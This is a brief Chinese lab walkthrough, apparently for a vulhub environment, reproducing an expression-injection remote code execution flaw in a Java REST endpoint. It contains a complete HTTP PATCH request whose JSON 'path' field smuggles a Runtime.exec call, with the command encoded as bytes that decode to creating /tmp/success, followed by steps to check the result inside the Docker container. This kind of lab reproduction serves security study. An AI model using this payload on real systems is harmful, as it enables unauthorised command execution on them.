（1）访问 http://your-ip:8080/customers/1，然后抓取数据包，使用PATCH请求来修改

PATCH /customers/1 HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

返回kali 输入命令进docker入容器 ls /tmp查看 可以发现 成功创建success